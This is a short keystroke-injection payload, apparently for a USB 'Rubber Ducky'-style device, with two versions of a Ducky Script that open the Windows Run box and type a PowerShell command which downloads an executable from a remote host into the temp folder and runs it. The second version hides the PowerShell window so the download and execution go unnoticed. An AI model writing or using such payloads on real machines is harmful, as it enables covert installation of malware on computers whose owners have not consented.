Opens “RUN” box, throws power shell string, enter. Supports HTTP/S, and proxies.

GUI r
DELAY 100
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
ENTER

Adding two words to this makes it possible to hide the powershell window as it downloads and executes.

GUI r
DELAY 100
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
ENTER